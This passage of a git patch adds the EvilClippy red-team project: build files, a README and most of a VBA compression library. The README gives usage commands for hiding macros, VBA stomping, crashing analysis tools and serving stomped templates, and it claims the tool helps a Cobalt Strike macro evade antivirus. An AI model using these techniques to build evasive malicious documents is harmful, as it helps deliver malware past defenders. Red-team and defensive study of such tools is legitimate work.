From 100da59b9f8504b8d102cfd533e4780a0964c16e Mon Sep 17 00:00:00 2001 From: "Mariusz B. / mgeeky" Date: Fri, 20 May 2022 00:09:05 +0200 Subject: [PATCH 1/2] added support for Publisher (pre-2007), PowerPoint (2007+), Word (both), Excel (both) --- EvilClippy.csproj | 77 +++ EvilClippy.sln | 25 + FodyWeavers.xml | 4 + FodyWeavers.xsd | 111 +++++ README.md | 128 +++++ app.config | 3 + compression.cs | 1191 +++++++++++++++++++++++++++++++++++++++++++++ evilclippy.cs | 945 +++++++++++++++++++++++++++++++++++ options.cs | 1175 ++++++++++++++++++++++++++++++++++++++++++++ packages.config | 10 + utils.cs | 76 +++ 11 files changed, 3745 insertions(+) create mode 100644 EvilClippy.csproj create mode 100644 EvilClippy.sln create mode 100644 FodyWeavers.xml create mode 100644 FodyWeavers.xsd create mode 100644 README.md create mode 100644 app.config create mode 100644 compression.cs create mode 100644 evilclippy.cs create mode 100644 options.cs create mode 100644 packages.config create mode 100644 utils.cs diff --git a/EvilClippy.csproj b/EvilClippy.csproj new file mode 100644 index 0000000..9cbd92f --- /dev/null +++ b/EvilClippy.csproj @@ -0,0 +1,77 @@ + + + + + + Debug + AnyCPU + {F0652120-9CF5-4F4C-BC7B-BA0921AA57CB} + Exe + EvilClippy + EvilClippy + v4.5 + 512 + true + + + + + + AnyCPU + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + false + + + AnyCPU + pdbonly + true + bin\Release\ + TRACE + prompt + 4 + false + + + + + + + + + + + + + + packages\Costura.Fody.3.3.3\lib\net40\Costura.dll + + + packages\OpenMcdf.2.2.1.3\lib\net40\OpenMcdf.dll + + + + + False + C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.ComponentModel.TypeConverter.dll + + + + + + + + + + + This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. + + + + + \ No newline at end of file diff --git a/EvilClippy.sln b/EvilClippy.sln new file mode 100644 index 0000000..56855b8 --- /dev/null +++ b/EvilClippy.sln @@ -0,0 +1,25 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.31105.61 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EvilClippy", "EvilClippy.csproj", "{F0652120-9CF5-4F4C-BC7B-BA0921AA57CB}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {F0652120-9CF5-4F4C-BC7B-BA0921AA57CB}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {F0652120-9CF5-4F4C-BC7B-BA0921AA57CB}.Debug|Any CPU.Build.0 = Debug|Any CPU + {F0652120-9CF5-4F4C-BC7B-BA0921AA57CB}.Release|Any CPU.ActiveCfg = Release|Any CPU + {F0652120-9CF5-4F4C-BC7B-BA0921AA57CB}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {36EB9640-6923-4A99-84B3-E743C8361ACA} + EndGlobalSection +EndGlobal diff --git a/FodyWeavers.xml b/FodyWeavers.xml new file mode 100644 index 0000000..a5dcf04 --- /dev/null +++ b/FodyWeavers.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/FodyWeavers.xsd b/FodyWeavers.xsd new file mode 100644 index 0000000..44a5374 --- /dev/null +++ b/FodyWeavers.xsd @@ -0,0 +1,111 @@ + + + + + + + + + + + + A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks + + + + + A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. + + + + + A list of unmanaged 32 bit assembly names to include, delimited with line breaks. + + + + + A list of unmanaged 64 bit assembly names to include, delimited with line breaks. + + + + + The order of preloaded assemblies, delimited with line breaks. + + + + + + This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. + + + + + Controls if .pdbs for reference assemblies are also embedded. + + + + + Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. + + + + + As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. + + + + + Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. + + + + + Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. + + + + + A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | + + + + + A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. + + + + + A list of unmanaged 32 bit assembly names to include, delimited with |. + + + + + A list of unmanaged 64 bit assembly names to include, delimited with |. + + + + + The order of preloaded assemblies, delimited with |. + + + + + + + + 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. + + + + + A comma-separated list of error codes that can be safely ignored in assembly verification. + + + + + 'false' to turn off automatic generation of the XML Schema file. + + + + + \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 0000000..f445350 --- /dev/null +++ b/README.md @@ -0,0 +1,128 @@ +This tool was released during our BlackHat Asia talk (March 28, 2019). A video recording of this talk is available at https://www.youtube.com/watch?v=9ULzZA70Dzg. + +# Evil Clippy +A cross-platform assistant for creating malicious MS Office documents. Can hide VBA macros, stomp VBA code (via P-Code) and confuse macro analysis tools. Runs on Linux, OSX and Windows. + +If you're new to this tool, you might want to start by reading our blog post on Evil Clippy: +https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-assistant/ + +This project should be used for authorized testing or educational purposes only. + +## Current features +* Hide VBA macros from the GUI editor +* VBA stomping (P-code abuse) +* Fool analyst tools +* Serve VBA stomped templates via HTTP +* Set/Remove VBA Project Locked/Unviewable Protection + +If you have no idea what all of this is, check out the following resources first: +* [Our MS Office Magic Show presentation at Derbycon 2018](https://outflank.nl/blog/2018/10/28/recordings-of-our-derbycon-and-brucon-presentations/) +* [VBA stomping resources by the Walmart security team](https://vbastomp.com/) +* [Pcodedmp by Dr. Bontchev](https://github.com/bontchev/pcodedmp) + +## How effective is this? +At the time of writing, this tool is capable of getting a default Cobalt Strike macro to bypass most major antivirus products and various maldoc analysis tools (by using VBA stomping in combination with random module names). + +## Technology +Evil Clippy uses the [OpenMCDF library](https://github.com/ironfede/openmcdf/) to manipulate MS Office Compound File Binary Format (CFBF) files, and hereto abuses [MS-OVBA specifications](https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-ovba/) and features. It reuses code from [Kavod.VBA.Compression](https://github.com/rossknudsen/Kavod.Vba.Compression) to implement the compression algorithm that is used in dir and module streams (see MS-OVBA for relevant specifications). + +Evil Clippy compiles perfectly fine with the Mono C# compiler and has been tested on Linux, OSX and Windows. + +## Compilation + +We do not provide a binary release for EvilClippy. Please compile executables yourself: + +**OSX and Linux** + +Make sure you have Mono installed. Then execute the following command from the command line: + +`mcs /reference:OpenMcdf.dll,System.IO.Compression.FileSystem.dll /out:EvilClippy.exe *.cs` + +Now run Evil Clippy from the command line: + +`mono EvilClippy.exe -h` + +**Windows** + +Make sure you have Visual Studio installed. Then execute the following command from a Visual Studio developer command prompt: + +`csc /reference:OpenMcdf.dll,System.IO.Compression.FileSystem.dll /out:EvilClippy.exe *.cs` + +Now run Evil Clippy from the command line: + +`EvilClippy.exe -h` + +## Usage examples + +**Print help** + +`EvilClippy.exe -h` + +**Hide/Unhide macros from GUI** + +Hide all macro modules (except the default "ThisDocument" module) from the VBA GUI editor. This is achieved by removing module lines from the project stream [MS-OVBA 2.3.1]. + +`EvilClippy.exe -g macrofile.doc` + +Undo the changes done by the hide option (-g) so that we can debug the macro in the VBA IDE. + +`EvilClippy.exe -gg macrofile.doc` + +**Stomp VBA (abuse P-code)** + +Put fake VBA code from text file *fakecode.vba* in all modules, while leaving P-code intact. This abuses an undocumented feature of module streams [MS-OVBA 2.3.4.3]. Note that the VBA project version must match the host program in order for the P-code to be executed (see next example for version matching). + +`EvilClippy.exe -s fakecode.vba macrofile.doc` + +Note: VBA Stomping does not work for files saved in the Excel 97-2003 Workbook (.xls) format + +**Set target Office version for VBA stomping** + +Same as the above, but now explicitly targeting Word 2016 on x86. This means that Word 2016 on x86 will execute the P-code, while other versions of Word wil execute the code from *fakecode.vba* instead. Achieved by setting the appropriate version bytes in the _VBA_PROJECT stream [MS-OVBA 2.3.4.1]. + +`EvilClippy.exe -s fakecode.vba -t 2016x86 macrofile.doc` + +**Set/reset random module names (fool analyst tools)** + +Set random ASCII module names in the dir stream [MS-OVBA 2.3.4.2]. This abuses ambiguity in the MODULESTREAMNAME records [MS-OVBA 2.3.4.2.3.2.3] - most analyst tools use the ASCII module names specified here, while MS Office used the Unicode variant. By setting a random ASCII module name most P-code and VBA analysis tools crash, while the actual P-code and VBA still runs fine in Word and Excel. + +`EvilClippy.exe -r macrofile.doc` + +Note: this is known to be effective in tricking pcodedmp and VirusTotal + +Set ASCII module names in the dir stream to match their Unicode counterparts. This reverses the changes made using the (-r) optoin of EvilClippy + +`EvilClippy.exe -rr macrofile.doc` + +**Serve a VBA stomped template via HTTP** + +Service *macrofile.dot* via HTTP port 8080 after performing VBA stomping. If this file is retrieved, it automatically matches the target's Office version (using its HTTP headers and then setting the _VBA_PROJECT bytes accordingly). + +`EvilClippy.exe -s fakecode.vba -w 8080 macrofile.dot` + +Note: The file you are serving must be a template (.dot instead of .doc). You can set a template via a URL (.dot extension is not required!) from the developer toolbar in Word. Also, fakecode.vba must have a VB_Base attribute set for a macro from a template (this means that your fakecode.vba must start with a line such as *Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"*). + +**Set/Remove VBA Project Locked/Unviewable Protection** + +To set the Locked/Unviewable attributes use the '-u' option: + +`EvilClippy.exe -u macrofile.doc` + +To remove the Locked/Unviewable attributes use the '-uu' option: + +`EvilClippy.exe -uu macrofile.doc` + +Note: You can remove the Locked/Unviewable attributes on files that were not locked with EvilClippy as well. + +## Limitations + +Developed for Microsoft Word and Excel document manipulation. + +As noted above, VBA stomping is not effective against Excel 97-2003 Workbook (.xls) format. + +## Authors +Stan Hegt ([@StanHacked](https://twitter.com/StanHacked)) / [Outflank](https://www.outflank.nl) + +With significant contributions by Carrie Roberts ([@OrOneEqualsOne](https://twitter.com/OrOneEqualsOne) / Walmart). + +Special thanks to Nick Landers ([@monoxgas](https://twitter.com/monoxgas) / Silent Break Security) for pointing me towards OpenMCDF. diff --git a/app.config b/app.config new file mode 100644 index 0000000..51278a4 --- /dev/null +++ b/app.config @@ -0,0 +1,3 @@ + + + diff --git a/compression.cs b/compression.cs new file mode 100644 index 0000000..83320b7 --- /dev/null +++ b/compression.cs @@ -0,0 +1,1191 @@ +using System; +using System.Diagnostics.Contracts; +using System.IO; +using System.Linq; +using System.Collections.Generic; +using System.Collections; +using System.Diagnostics; +using System.Text; + +namespace Kavod.Vba.Compression +{ + /// + /// A CompressedChunk is a record that encodes all data from a DecompressedChunk (section + /// 2.4.1.1.3) in compressed format. A CompressedChunk has two parts: a CompressedChunkHeader + /// (section 2.4.1.1.5) followed by a CompressedChunkData (section 2.4.1.1.6). The number of bytes + /// in a CompressedChunk MUST be greater than or equal to 3. The number of bytes in a + /// CompressedChunk MUST be less than or equal to 4098. + /// + /// + internal class CompressedChunk + { + internal CompressedChunk(DecompressedChunk decompressedChunk) + { + // Contract.Requires(decompressedChunk != null); + // Contract.Ensures(Header != null); + // Contract.Ensures(ChunkData != null); + + ChunkData = new CompressedChunkData(decompressedChunk); + if (ChunkData.Size >= Globals.MaxBytesPerChunk) + { + ChunkData = new RawChunk(decompressedChunk.Data); + } + Header = new CompressedChunkHeader(ChunkData); + } + + internal CompressedChunk(BinaryReader dataReader) + { + // Contract.Requires(dataReader != null); + // Contract.Ensures(Header != null); + // Contract.Ensures(ChunkData != null); + + Header = new CompressedChunkHeader(dataReader); + if (Header.IsCompressed) + { + ChunkData = new CompressedChunkData(dataReader, Header.CompressedChunkDataSize); + } + else + { + ChunkData = new RawChunk(dataReader.ReadBytes(Header.CompressedChunkDataSize)); + } + } + + internal CompressedChunkHeader Header { get; } + + internal IChunkData ChunkData { get; } + + internal byte[] SerializeData() + { + var serializedHeader = Header.SerializeData(); + var serializedChunkData = ChunkData.SerializeData(); + + var data = serializedHeader.Concat(serializedChunkData); + if (!Header.IsCompressed) + { + var dataLength = serializedHeader.LongLength + serializedChunkData.LongLength; + var paddingLength = Globals.NumberOfChunkHeaderBytes + + Globals.MaxBytesPerChunk + - dataLength; + var padding = Enumerable.Repeat(Globals.PaddingByte, (int)paddingLength); + data = data.Concat(padding); + } + return data.ToArray(); + } + } + + /// + /// If CompressedChunkHeader.CompressedChunkFlag (section 2.4.1.1.5) is 0b0, CompressedChunkData + /// contains an array of CompressedChunkHeader.CompressedChunkSize elements plus 3 bytes of + /// uncompressed data. If CompressedChunkHeader CompressedChunkFlag is 0b1, CompressedChunkData + /// contains an array of TokenSequence (section 2.4.1.1.7) elements. + /// + /// + internal class CompressedChunkData : IChunkData + { + private readonly List _tokensequences = new List(); + + internal CompressedChunkData(DecompressedChunk chunk) + { + // Contract.Requires(chunk != null); + + var tokens = Tokenizer.TokenizeUncompressedData(chunk.Data); + _tokensequences.AddRange(tokens.ToTokenSequences()); + } + + internal CompressedChunkData(BinaryReader dataReader, UInt16 compressedChunkDataSize) + { + var data = dataReader.ReadBytes(compressedChunkDataSize); + + using (var reader = new BinaryReader(new MemoryStream(data))) + { + var position = 0; + while (reader.BaseStream.Position < reader.BaseStream.Length) + { + var sequence = TokenSequence.GetFromCompressedData(reader, position); + _tokensequences.Add(sequence); + position += (int)sequence.Tokens.Sum(t => t.Length); + } + } + } + + internal IEnumerable TokenSequences => _tokensequences; + + public byte[] SerializeData() + { + // get data from TokenSequences. + var data = from t in _tokensequences + from d in t.SerializeData() + select d; + return data.ToArray(); + } + + // TODO this is probably really inefficient. + public int Size => SerializeData().Length; + } + + internal class CompressedChunkHeader + { + internal CompressedChunkHeader(IChunkData chunkData) + { + IsCompressed = chunkData is CompressedChunkData; + CompressedChunkSize = (ushort)(chunkData.Size + 2); + } + + internal CompressedChunkHeader(UInt16 header) + { + DecodeHeader(header); + } + + internal CompressedChunkHeader(BinaryReader dataReader) + { + var header = dataReader.ReadUInt16(); + DecodeHeader(header); + } + + private void DecodeHeader(UInt16 header) + { + var temp = (UInt16)(header & 0xf000); + switch (temp) + { + case 0xb000: + IsCompressed = true; + break; + + case 0x3000: + IsCompressed = false; + break; + + default: + throw new Exception(); + } + + // 2.4.1.3.12 Extract CompressedChunkSize + // SET temp TO Header BITWISE AND 0x0FFF + // SET Size TO temp PLUS 3 + CompressedChunkSize = (UInt16)((header & 0xfff) + 3); + + ValidateChunkSizeAndCompressedFlag(); + } + + internal bool IsCompressed { get; private set; } + + internal UInt16 CompressedChunkSize { get; private set; } + + internal UInt16 CompressedChunkDataSize => (UInt16)(CompressedChunkSize - 2); + + internal byte[] SerializeData() + { + ValidateChunkSizeAndCompressedFlag(); + + UInt16 header; + if (IsCompressed) + { + header = (UInt16)(0xb000 | (CompressedChunkSize - 3)); + } + else + { + header = (UInt16)(0x3000 | (CompressedChunkSize - 3)); + } + return BitConverter.GetBytes(header); + } + + private void ValidateChunkSizeAndCompressedFlag() + { + if (IsCompressed + && CompressedChunkSize > 4098) + { + throw new Exception(); + } + if (!IsCompressed + && CompressedChunkSize != 4098) + { + throw new Exception(); + } + } + } + + /// + /// A CompressedContainer is an array of bytes holding the compressed data. The Decompression + /// algorithm (section 2.4.1.3.1) processes a CompressedContainer to populate a DecompressedBuffer. + /// The Compression algorithm (section 2.4.1.3.6) processes a DecompressedBuffer to produce a + /// CompressedContainer. A CompressedContainer MUST be the last array of bytes in a stream (1). + /// On read, the end of stream (1) indicator determines when the entire CompressedContainer has + /// been read. The CompressedContainer is a SignatureByte followed by array of CompressedChunk + /// (section 2.4.1.1.4) structures. + /// + /// + internal class CompressedContainer + { + private const byte SignatureByteSig = 0x1; + + private readonly List _compressedChunks = new List(); + + internal CompressedContainer(byte[] compressedData) + { + var reader = new BinaryReader(new MemoryStream(compressedData)); + + if (reader.ReadByte() != SignatureByteSig) + { + throw new Exception(); + } + + while (reader.BaseStream.Position < reader.BaseStream.Length) + { + _compressedChunks.Add(new CompressedChunk(reader)); + } + } + + internal CompressedContainer(DecompressedBuffer buffer) + { + foreach (var chunk in buffer.DecompressedChunks) + { + _compressedChunks.Add(new CompressedChunk(chunk)); + } + } + + internal IEnumerable CompressedChunks => _compressedChunks; + + internal byte[] SerializeData() + { + using (var writer = new BinaryWriter(new MemoryStream())) + { + writer.Write(SignatureByteSig); + + foreach (var chunk in CompressedChunks) + { + writer.Write(chunk.SerializeData()); + } + + using (var reader = new BinaryReader(writer.BaseStream)) + { + reader.BaseStream.Position = 0; + return reader.ReadBytes((int)reader.BaseStream.Length); + } + } + } + } + + /// + /// CopyToken is a two-byte record interpreted as an unsigned 16-bit integer in little-endian + /// order. A CopyToken is a compressed encoding of an array of bytes from a DecompressedChunk + /// (section 2.4.1.1.3). The byte array encoded by a CopyToken is a byte-for-byte copy of a byte + /// array elsewhere in the same DecompressedChunk, called a CopySequence (section 2.4.1.3.19). + /// + /// The starting location, in a DecompressedChunk, is determined by the Compressing a Token + /// (section 2.4.1.3.9) and the Decompressing a Token (section 2.4.1.3.5) algorithms. Packed into + /// the CopyToken is the Offset, the distance, in byte count, to the beginning of the CopySequence. + /// Also packed into the CopyToken is the Length, the number of bytes encoded in the CopyToken. + /// Length also specifies the count of bytes in the CopySequence. The values encoded in Offset and + /// Length are computed by the Matching (section 2.4.1.3.19.4) algorithm. + /// + /// + internal class CopyToken : IToken, IEquatable + { + private readonly UInt16 _tokenOffset; + private readonly UInt16 _tokenLength; + + /// + /// Constructor used to create a CopyToken when compressing a DecompressedChunk. + /// + /// + /// The start position of the CopyToken decompressed data in the current DecompressedChunk. + /// + /// + /// The offset in bytes from the start position in the current DecompressedChunk from which to + /// start copying. + /// + /// The number of bytes to copy from the offset. + /// + + internal CopyToken(long tokenPosition, UInt16 tokenOffset, UInt16 tokenLength) + { + Position = tokenPosition; + _tokenOffset = tokenOffset; + _tokenLength = tokenLength; + } + + /// + /// Constructor used to create CopyToken instance when reading compressed token from a stream. + /// + /// + /// A BinaryReader object where the position is located at an encoded CopyToken. + /// + /// + internal CopyToken(BinaryReader dataReader, long position) + { + Position = position; + CopyToken.UnPack(dataReader.ReadUInt16(), Position, out _tokenOffset, out _tokenLength); + } + + public long Length => _tokenLength; + + internal UInt16 Offset => _tokenOffset; + + internal long Position { get; } + + internal static UInt16 Pack(long position, UInt16 offset, UInt16 length) + { + // 2.4.1.3.19.3 Pack CopyToken + var result = CopyTokenHelp(position); + + if (length > result.MaximumLength) + throw new Exception(); + + //SET temp1 TO Offset MINUS 1 + var temp1 = (UInt16)(offset - 1); + + //SET temp2 TO 16 MINUS BitCount + var temp2 = (UInt16)(16 - result.BitCount); + + //SET temp3 TO Length MINUS 3 + var temp3 = (UInt16)(length - 3); + + //SET Token TO (temp1 LEFT SHIFT BY temp2) BITWISE OR temp3 + return (UInt16)((temp1 << temp2) | temp3); + } + + public void DecompressToken(BinaryWriter writer) + { + // It is possible that the length is greater than the offset which means we would need to + // read more bytes than are available. To handle this we need to read the bytes available + // (ie Offset amount) and then pad the remaining length with copies of the data read from + // the beginning of the buffer. + + var streamPosition = writer.BaseStream.Position; + var reader = new BinaryReader(writer.BaseStream, Encoding.Unicode, true); + reader.BaseStream.Position = streamPosition - _tokenOffset; + var copySequence = reader.ReadBytes(Math.Min(_tokenOffset, _tokenLength)); + + Array.Resize(ref copySequence, _tokenLength); + + for (int i = _tokenOffset; i <= _tokenLength - 1; i++) + { + var copyByte = copySequence[i % _tokenOffset]; + copySequence[i] = copyByte; + } + + // Move the position of the underlying stream back to the original position and write the + // CopySequence. + writer.BaseStream.Position = streamPosition; + writer.Write(copySequence); + } + + internal static void UnPack(UInt16 packedToken, long position, out UInt16 unpackedOffset, out UInt16 unpackedLength) + { + // CALL CopyToken Help (section 2.4.1.3.19.1) returning LengthMask, OffsetMask, and BitCount. + var result = CopyToken.CopyTokenHelp(position); + + // SET Length TO (Token BITWISE AND LengthMask) PLUS 3. + unpackedLength = (UInt16)((packedToken & result.LengthMask) + 3); + + // SET temp1 TO Token BITWISE AND OffsetMask. + var temp1 = (UInt16)(packedToken & result.OffsetMask); + + // SET temp2 TO 16 MINUS BitCount. + var temp2 = (UInt16)(16 - result.BitCount); + + // SET Offset TO (temp1 RIGHT SHIFT BY temp2) PLUS 1. + unpackedOffset = (UInt16)((temp1 >> temp2) + 1); + } + + /// + /// CopyToken Help derived bit masks are used by the Unpack CopyToken (section 2.4.1.3.19.2) + /// and the Pack CopyToken (section 2.4.1.3.19.3) algorithms. CopyToken Help also derives the + /// maximum length for a CopySequence (section 2.4.1.3.19) which is used by the Matching + /// algorithm (section 2.4.1.3.19.4). + /// The pseudocode uses the state variables described in State Variables (section 2.4.1.2): + /// DecompressedCurrent and DecompressedChunkStart. + /// + internal static CopyTokenHelpResult CopyTokenHelp(long difference) + { + var result = new CopyTokenHelpResult(); + + // SET BitCount TO the smallest integer that is GREATER THAN OR EQUAL TO LOGARITHM base 2 + // of difference + result.BitCount = 0; + while ((1 << result.BitCount) < difference) + { + result.BitCount += 1; + } + + // The number of bits used to encode Length MUST be greater than or equal to four. The + // number of bits used to encode Length MUST be less than or equal to 12 + // SET BitCount TO the maximum of BitCount and 4 + if (result.BitCount < 4) + result.BitCount = 4; + if (result.BitCount > 12) + throw new Exception(); + + // SET LengthMask TO 0xFFFF RIGHT SHIFT BY BitCount + result.LengthMask = (UInt16)(0xffff >> result.BitCount); + + // SET OffsetMask TO BITWISE NOT LengthMask + result.OffsetMask = (UInt16)(~result.LengthMask); + + // SET MaximumLength TO (0xFFFF RIGHT SHIFT BY BitCount) PLUS 3 + result.MaximumLength = (UInt16)((0xffff >> result.BitCount) + 3); + + return result; + } + + public byte[] SerializeData() + { + var packedData = Pack(Position, _tokenOffset, _tokenLength); + return BitConverter.GetBytes(packedData); + } + + #region Nested Classes + + internal struct CopyTokenHelpResult + { + internal UInt16 LengthMask { get; set; } + internal UInt16 OffsetMask { get; set; } + internal UInt16 BitCount { get; set; } // offset bit count. + internal UInt16 MaximumLength { get; set; } + internal UInt16 LengthBitCount => (UInt16)(16 - BitCount); + } + + #endregion + + #region IEquatable + public static bool operator !=(CopyToken first, CopyToken second) + { + return !(first == second); + } + + public static bool operator ==(CopyToken first, CopyToken second) + { + return Equals(first, second); + } + + public override bool Equals(object obj) + { + return Equals(obj as CopyToken); + } + + public bool Equals(IToken other) + { + return Equals(other as CopyToken); + } + + public bool Equals(CopyToken other) + { + if (ReferenceEquals(other, null)) + { + return false; + } + return other.Position == Position + && other.Length == Length + && other.Offset == Offset; + } + + public override int GetHashCode() + { + return Position.GetHashCode() ^ Length.GetHashCode() ^ Offset.GetHashCode(); + } + #endregion + } + + /// + /// The DecompressedBuffer is a resizable array of bytes that contains the same data as the + /// CompressedContainer (section 2.4.1.1.1), but the data is in an uncompressed format. + /// + /// + internal class DecompressedBuffer + { + internal DecompressedBuffer(byte[] uncompressedData) + { + using (var reader = new BinaryReader(new MemoryStream(uncompressedData))) + { + while (reader.BaseStream.Position < reader.BaseStream.Length) + { + var chunk = new DecompressedChunk(reader); + DecompressedChunks.Add(chunk); + } + } + } + + internal DecompressedBuffer(CompressedContainer container) + { + foreach (var chunk in container.CompressedChunks) + { + DecompressedChunks.Add(new DecompressedChunk(chunk)); + } + } + + internal List DecompressedChunks { get; } = new List(); + + internal byte[] Data + { + get + { + using (var writer = new BinaryWriter(new MemoryStream())) + { + foreach (var chunk in DecompressedChunks) + { + writer.Write(chunk.Data); + } + + using (var reader = new BinaryReader(writer.BaseStream)) + { + reader.BaseStream.Position = 0; + + return reader.ReadBytes((int)reader.BaseStream.Length); + } + } + } + } + } + + /// + /// A DecompressedChunk is a resizable array of bytes in the DecompressedBuffer + /// (section 2.4.1.1.2). The byte array is the data from a CompressedChunk (section 2.4.1.1.4) in + /// uncompressed format. + /// + /// + internal class DecompressedChunk + { + internal DecompressedChunk(CompressedChunk compressedChunk) + { + if (compressedChunk.Header.IsCompressed) + { + // Loop through all the data, get TokenSequences and decompress them. + using (var writer = new BinaryWriter(new MemoryStream())) + { + var tokens = ((CompressedChunkData)compressedChunk.ChunkData).TokenSequences; + foreach (var sequence in tokens) + { + sequence.Tokens.DecompressTokenSequence(writer); + } + + var stream = (MemoryStream)writer.BaseStream; + var decompressedData = stream.GetBuffer(); + Array.Resize(ref decompressedData, (int)stream.Length); + + Data = decompressedData; + } + } + else + { + Data = compressedChunk.ChunkData.SerializeData(); + } + } + + internal DecompressedChunk(BinaryReader reader) + { + var bytesToRead = reader.BaseStream.Length - reader.BaseStream.Position; + + if (bytesToRead > Globals.MaxBytesPerChunk) + bytesToRead = Globals.MaxBytesPerChunk; + + Data = reader.ReadBytes((int)bytesToRead); + } + + internal byte[] Data { get; } + } + + internal static class Extensions + { + [DebuggerStepThrough] + internal static byte[] ToMcbsBytes(this string textToConvert, UInt16 codePage) + { + return Encoding.GetEncoding(codePage).GetBytes(textToConvert); + } + + // http://stackoverflow.com/questions/321370/convert-hex-string-to-byte-array + internal static byte[] StringToByteArray(string hex) + { + return Enumerable.Range(0, hex.Length) + .Where(x => x % 2 == 0) + .Select(x => Convert.ToByte(hex.Substring(x, 2), 16)) + .ToArray(); + } + } + + internal static class Globals + { + internal const int MaxBytesPerChunk = 4096; + internal const int NumberOfChunkHeaderBytes = 2; + internal const byte PaddingByte = 0x0; + } + + internal interface IChunkData + { + byte[] SerializeData(); + + int Size { get; } + } + + internal interface IToken : IEquatable + { + void DecompressToken(BinaryWriter writer); + + byte[] SerializeData(); + + long Length { get; } + } + + /// + /// A LiteralToken is a copy of one byte, in uncompressed format, from the DecompressedBuffer + /// (section 2.4.1.1.2). + /// + /// + internal class LiteralToken : IToken, IEquatable + { + private readonly byte[] _data; + + internal LiteralToken(BinaryReader dataReader) + { + _data = dataReader.ReadBytes(1); + } + + internal LiteralToken(byte data) + { + _data = new[] { data }; + } + + public void DecompressToken(BinaryWriter writer) + { + writer.Write(_data); + writer.Flush(); + } + + public byte[] SerializeData() + { + return _data; + } + + public long Length => 1L; + + #region IEquatable + public static bool operator !=(LiteralToken first, LiteralToken second) + { + return !(first == second); + } + + public static bool operator ==(LiteralToken first, LiteralToken second) + { + return Equals(first, second); + } + + public override bool Equals(object obj) + { + return Equals(obj as LiteralToken); + } + + public bool Equals(IToken other) + { + return Equals(other as LiteralToken); + } + + public bool Equals(LiteralToken other) + { + if (ReferenceEquals(other, null)) + { + return false; + } + return other._data.SequenceEqual(_data); + } + + public override int GetHashCode() + { + return _data.GetHashCode(); + } + #endregion + } + + internal class RawChunk : IChunkData + { + private readonly byte[] _data; + + public RawChunk(byte[] data) + { + _data = data; + } + + public byte[] SerializeData() + { + return _data; + } + + public int Size => _data.Length; + } + + internal static class Tokenizer + { + internal static IEnumerable ToTokenSequences(this IEnumerable tokens) + { + var accumulatedTokens = new List(); + foreach (var t in tokens) + { + if (accumulatedTokens.Count == 8) + { + yield return new TokenSequence(accumulatedTokens); + accumulatedTokens.Clear(); + } + accumulatedTokens.Add(t); + } + if (accumulatedTokens.Count != 0) + { + yield return new TokenSequence(accumulatedTokens); + } + } + + internal static void DecompressTokenSequence(this IEnumerable tokens, BinaryWriter writer) + { + foreach (var token in tokens) + { + token.DecompressToken(writer); + } + } + + internal static bool OverlapsWith(this CopyToken thisToken, CopyToken otherToken) + { + var firstToken = thisToken; + var secondToken = otherToken; + if (thisToken.Position > otherToken.Position) + { + firstToken = otherToken; + secondToken = thisToken; + } + // Contract.Assert(firstToken.Position <= secondToken.Position); + + return firstToken.Position + firstToken.Length > secondToken.Position; + } + + internal static bool Contains(this CopyToken thisToken, CopyToken otherToken) + { + var otherTokenStartsAfterThisToken = thisToken.Position <= otherToken.Position; + var otherTokenEndsBeforeThisToken = thisToken.Position + thisToken.Length >= + otherToken.Position + otherToken.Length; + return otherTokenStartsAfterThisToken && otherTokenEndsBeforeThisToken; + } + + internal static IEnumerable TokenizeUncompressedData(byte[] uncompressedData) + { + // The commented code is alternative to the specification for the compression. + //var possibleCopyTokens = AllPossibleCopyTokens(uncompressedData); + //var normalCopyTokens = NormalizeCopyTokens(possibleCopyTokens); + //var allTokens = WeaveTokens(normalCopyTokens, uncompressedData); + + var copyTokens = GetSpecificationCopyTokens(uncompressedData); + var allTokens = WeaveTokens(copyTokens, uncompressedData); + foreach (var t in allTokens) + { + yield return t; + } + } + + private static IEnumerable GetSpecificationCopyTokens(byte[] uncompressedData) + { + var position = 0L; + while (position < uncompressedData.Length) + { + UInt16 offset = 0; + UInt16 length = 0; + Match(uncompressedData, position, out offset, out length); + + if (length > 0) + { + yield return new CopyToken(position, offset, length); + position += length; + } + else + { + position++; + } + } + } + + private static IEnumerable AllPossibleCopyTokens(byte[] uncompressedData) + { + var position = 0L; + while (position < uncompressedData.Length) + { + UInt16 offset = 0; + UInt16 length = 0; + Match(uncompressedData, position, out offset, out length); + + if (length > 0) + { + yield return new CopyToken(position, offset, length); + } + position++; + } + } + + private static IEnumerable NormalizeCopyTokens(IEnumerable copyTokens) + { + var remainingTokens = RemoveRedundantTokens(copyTokens).ToList(); + + remainingTokens = RemoveOverlappingTokens(remainingTokens).ToList(); + + return remainingTokens; + } + + private static 